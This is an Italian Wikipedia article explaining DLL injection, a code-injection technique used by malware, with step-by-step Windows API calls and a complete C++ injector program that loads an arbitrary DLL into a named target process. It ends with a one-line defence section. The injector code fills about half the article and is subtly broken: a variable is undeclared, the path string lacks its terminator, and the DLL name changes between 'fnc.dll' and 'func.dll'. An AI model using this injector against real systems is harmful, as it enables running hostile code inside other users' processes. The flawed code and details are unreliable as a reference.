Dll injection

Da Wikipedia, l'enciclopedia libera.
Jump to navigation Jump to search

La dll injection, utilizzata da diversi malware, fa parte di un gruppo di tecniche più ampio chiamato code injection (iniezione di codice).

Principi generali di funzionamento[modifica | modifica wikitesto]

La dll injection si basa nel scrivere il codice che si vuole far eseguire a un altro processo in una libreria dinamica (dll su Microsoft Windows). Quindi si avvia un programma che carica questa dll nel processo esterno (ovviamente con privilegi superiori rispetto al nostro processo) e il sistema operativo vede il codice come se fosse eseguito dal processo esterno e non dal nostro processo.

Principi approfonditi di funzionamento (con esempio pratico)[modifica | modifica wikitesto]

Analizziamo in dettaglio il funzionamento di un programma che inietta una dll in un altro processo. Un esempio renderà di più facile comprensione l'algoritmo

"hack.exe" deve fare eseguire il suo codice all'interno del processo "msnmsgr.exe". Per semplificare assumeremo che "hack.exe" conosca già il PID (process identifier, usato per identificare univocamente un processo in esecuzione nel sistema) di "msnmsgr.exe".

-Viene creata la dll "fnc.dll" e, all'interno della DllMain, viene inserito il codice da far eseguire ad "msnmsgr.exe".

-A questo punto "hack.exe" chiama OpenProcess() con il PID di "msnmsgr.exe" che permette appunto di creare un handle a un processo attivo.

-"hack.exe" chiama la funzione VirtualAllocEx() per allocare all'interno del processo "msnmsgr.exe" uno spazio di memoria

-"hack.exe" chiama la funzione WriteProcessMemory() per scrivere all'interno dello spazio di memoria appena allocata la stringa "func.dll\0"

-"hack.exe" chiama CreateRemoteThread() per creare un nuovo thread nel processo "msnmsgr.exe". Questo nuovo thread chiama la funzione LoadLibraryA() e per unico argomento un puntatore alla stringa allocata all'interno dello stack di "msnmsgr.exe" contenente il path alla nostra dll

-Windows crea il nuovo thread e chiama LoadLibraryA() nello "spazio del thread". LoadLibraryA viene chiamato nel nuovo thread quindi non può fare riferimento allo stack del nostro processo. Ecco perché abbiamo bisogno di allocare la stringa contenente il path alla dll nella memoria nel processo "vittima". A sua volta LoadLibraryA chiama la DllMain di "func.dll" contenente il codice da eseguire nello spazio di "msnmsgr.exe"

Codice di esempio[modifica | modifica wikitesto]

Di seguito è mostrato un codice di esempio nel quale si mostra un esempio di dll injection in c++

//Libreria iostream input/Output
#include <iostream>

//Libreria windows.h
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <string>

using namespace std;

//Prototipi

//Funzione per iniettare la dll
bool Inject(DWORD pId, char *dllName);
//Funzione per ottenere l'id del processo
DWORD GetProcessByName(PCSTR name);

//Funzione principale
int main() {
    //Ottengo il nome del processo
	//cout <<  << endl;
	char nomeDll[40];
	int idProcesso;
	
	cout << "Nome dll: ";
	cin >> nomeDll;
	
	cout << "Nome processo: ";
	cin >> nomeProc;
	
	idProcesso = GetProcessByName(nomeProc);
	
	if(Inject(idProcesso, nomeDll)) {
		cout << "Operazione andata a buon fine" << endl;
	} else {
		cout << "OOPS! c'e' stato un errore" << endl;
	}
	
	system("pause");
	
	return 0;
}





//Funzione per iniettare la dll
bool Inject(DWORD pId, char *dllName) {
	//Apro il processo con tutti i permessi
	HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, false, pId);
	
	
	//Se sono riuscito ad aprire il processo...
	if(h) {
		cout << "Processo aperto correttamente" << endl;
	  
	  //Ottengo l'indirizzo della funzione LoadLibraryA
	  LPVOID LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
	  
	  //Alloco uno spazio nella memoria del processo
	  //Leggibile e scrivibile
	  LPVOID dereercomp = VirtualAllocEx(h, NULL, strlen(dllName), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	  
	  //Scrivo il path della DLL
	  if(!WriteProcessMemory(h, dereercomp, dllName, strlen(dllName), NULL)) {
	  	cout << "Errore nello scrivere la memoria del processo!" << endl;
	  	return false;
	  } else {
	  	cout << "Scrittura memoria del processo andata a buon fine" << endl;
	  }
	 
	 
	  //CreateRemoteThread() per creare un nuovo thread nel processo taget.
	  //Questo nuovo thread chiama la funzione LoadLibraryA()
	  //e per unico argomento un puntatore alla stringa allocata all'interno dello stack del nostro programma contenente il path alla nostra dll
	  HANDLE asdc = CreateRemoteThread(h, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddr, dereercomp, 0, NULL);
	  WaitForSingleObject(asdc, INFINITE);
	  //Tolgo lo spazio allocato
	  VirtualFreeEx(h, dereercomp, strlen(dllName), MEM_RELEASE);
	  //Chiudo il thread
	  CloseHandle(asdc);
	  //Chiudo il processo
	  CloseHandle(h);
	  //Ritorno true perché è andato tutto a buon fine
	  return true;
	}
	
	return false;
}









//Funzione per trovare l'id del processo
DWORD GetProcessByName(PCSTR name) {
	DWORD pid = 0;
	
	// Create toolhelp snapshot.
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 process;
	ZeroMemory(&process, sizeof(process));
	process.dwSize = sizeof(process);
	
	// Walkthrough all processes.
	if (Process32First(snapshot, &process))
	{
	    do
	    {
	        // Compare process.szExeFile based on format of name, i.e., trim file path
	        // trim .exe if necessary, etc.
	        if (string(process.szExeFile) == string(name))
	        {
	           pid = process.th32ProcessID;
	           break;
	        }
	    } while (Process32Next(snapshot, &process));
	}
	
	CloseHandle(snapshot);
	
	return pid;
}

Difesa[modifica | modifica wikitesto]

La miglior difesa consiste nell'installare un HIPS che intercetti le dll injection.

Sicurezza informatica Portale Sicurezza informatica: accedi alle voci di Wikipedia che trattano di Sicurezza informatica